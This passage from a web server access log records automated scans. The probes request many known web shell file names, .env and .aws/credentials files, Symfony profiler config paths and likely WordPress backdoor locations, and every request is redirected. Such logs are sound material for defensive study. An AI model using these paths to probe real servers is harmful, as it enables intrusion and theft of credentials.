Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:31 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:32 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:35 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:38 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:41 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:44 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:48 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:51 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:53 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:56 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:59 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:01 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:04 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:07 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:10 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:12 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:15 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:18 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:21 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:23 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:26 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:30 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:32 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:35 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:39 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:44 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:48 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:51 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:54 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:38:58 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:39:02 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:39:05 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:39:08 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:39:12 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:39:19 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 205.210.31.36 - - [14/Apr/2025:21:46:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 78.153.140.218 - - [14/Apr/2025:21:52:40 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 6_0_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A8500 Safari/8536.25" 78.153.140.218 - - [14/Apr/2025:21:52:40 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 5.1.1; LGMS330 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Mobile Safari/537.36" 78.153.140.218 - - [14/Apr/2025:21:52:41 -0400] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Opera/7.51 (X11; SunOS sun4u; U) [de]" 78.153.140.218 - - [14/Apr/2025:21:52:41 -0400] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Opera/9.80 (Windows NT 5.1; U; fr) Presto/2.10.289 Version/12.02" 78.153.140.218 - - [14/Apr/2025:21:52:42 -0400] "GET /.env.example HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3" 78.153.140.218 - - [14/Apr/2025:21:52:43 -0400] "GET /.env.example HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.3 (KHTML, like Gecko) Version/10.0 Mobile/14D15 Safari/602.1" 78.153.140.218 - - [14/Apr/2025:21:52:43 -0400] "GET /.env.production HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; f9J; InfoPath.3)" 78.153.140.218 - - [14/Apr/2025:21:52:44 -0400] "GET /.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0" 78.153.140.218 - - [14/Apr/2025:21:52:44 -0400] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.218 - - [14/Apr/2025:21:52:45 -0400] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; BLU STUDIO 5.0 II Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.218 - - [14/Apr/2025:21:52:45 -0400] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36" 78.153.140.218 - - [14/Apr/2025:21:52:47 -0400] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)" 78.153.140.218 - - [14/Apr/2025:21:52:47 -0400] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Safari/537.36" 78.153.140.218 - - [14/Apr/2025:21:52:47 -0400] "GET /app_dev.php/_profiler/open?file=app/config/parameters.yml HTTP/1.1" 301 795 "-" "Opera/9.25 (Macintosh; Intel Mac OS X; U; en)" 78.153.140.218 - - [14/Apr/2025:21:52:48 -0400] "GET /app/.env HTTP/1.1" 301 795 "-" "Opera/8.50 (Windows NT 5.1; U; fr)" 78.153.140.218 - - [14/Apr/2025:21:52:49 -0400] "GET /app_dev.php/_profiler/phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; HTC_H3000C Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.218 - - [14/Apr/2025:21:52:49 -0400] "GET /app_dev.php/_profiler/open?file=app/config/parameters.yml HTTP/1.1" 301 795 "-" "Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01" 78.153.140.218 - - [14/Apr/2025:21:52:50 -0400] "GET /backend/.env HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; BRI/2)" 78.153.140.218 - - [14/Apr/2025:21:52:50 -0400] "GET /app_dev.php/_profiler/phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0; TNJB; 1ButtonTaskbar)" 78.153.140.218 - - [14/Apr/2025:21:52:50 -0400] "GET /core/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)" 78.153.140.218 - - [14/Apr/2025:21:52:52 -0400] "GET /credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:42.0) Gecko/20100101 Firefox/42.0" 78.153.140.218 - - [14/Apr/2025:21:52:52 -0400] "GET /backend/.env HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)" 78.153.140.218 - - [14/Apr/2025:21:52:52 -0400] "GET /crm/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A551 Safari/602.1" 78.153.140.218 - - [14/Apr/2025:21:52:52 -0400] "GET /core/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; zh-cn) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10" 78.153.140.218 - - [14/Apr/2025:21:52:53 -0400] "GET /demo/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.3; en-au; GT-I9305T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.218 - - [14/Apr/2025:21:52:53 -0400] "GET /info/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1" 78.153.140.218 - - [14/Apr/2025:21:52:53 -0400] "GET /credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41" 78.153.140.218 - - [14/Apr/2025:21:52:54 -0400] "GET /infos/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; CrOS armv7l 10032.86.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.140 Safari/537.36" 78.153.140.218 - - [14/Apr/2025:21:52:54 -0400] "GET /crm/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.1.2; en-ca; SGH-I747M Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.218 - - [14/Apr/2025:21:52:55 -0400] "GET /pinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPod touch; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B93 Safari/604.1" 78.153.140.218 - - [14/Apr/2025:21:52:55 -0400] "GET /demo/.env HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2)" 78.153.140.218 - - [14/Apr/2025:21:52:56 -0400] "GET /vendor/.env HTTP/1.1" 301 795 "-" "Opera/9.20 (X11; Linux i586; U; en)" 78.153.140.218 - - [14/Apr/2025:21:52:57 -0400] "GET /info/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 OPR/27.0.1689.69 (Edition Campaign 46)" 78.153.140.218 - - [14/Apr/2025:21:52:57 -0400] "GET /infos/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:58.0) Gecko/20100101 Firefox/58.0" 78.153.140.218 - - [14/Apr/2025:21:52:58 -0400] "GET /pinfo.php HTTP/1.1" 301 795 "-" "Opera/9.80 (X11; Linux zvav; U; de) Presto/2.8.119 Version/11.10" 78.153.140.218 - - [14/Apr/2025:21:52:59 -0400] "GET /vendor/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7" 95.91.104.62 - - [14/Apr/2025:22:34:26 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 95.91.104.62 - - [14/Apr/2025:22:34:29 -0400] "GET /blog/seo/geo-chem HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 13.68.216.179 - - [14/Apr/2025:22:38:49 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:51 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:51 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:51 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:52 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:52 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:53 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:53 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:54 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:55 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:56 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:56 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:57 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:57 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:58 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:38:58 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:00 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:01 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:01 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:01 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:02 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:03 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:03 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:04 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:04 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:05 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:06 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:06 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:07 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:07 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:08 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:09 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:09 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:10 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:10 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:11 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:12 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:12 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:13 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:13 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:14 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:14 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:15 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:15 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:16 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:16 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:17 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:17 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:19 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:23 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:28 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:30 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:31 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:32 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:33 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:34 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:35 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:36 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:37 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:38 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:39 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:40 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:41 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:41 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:42 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:42 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:44 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:45 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:46 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:47 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:50 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:51 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:52 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:53 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:53 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:55 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:55 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:56 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:39:58 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:01 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:04 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:06 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:08 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:09 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:10 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:14 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:17 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.68.216.179 - - [14/Apr/2025:22:40:18 -0400] "GET 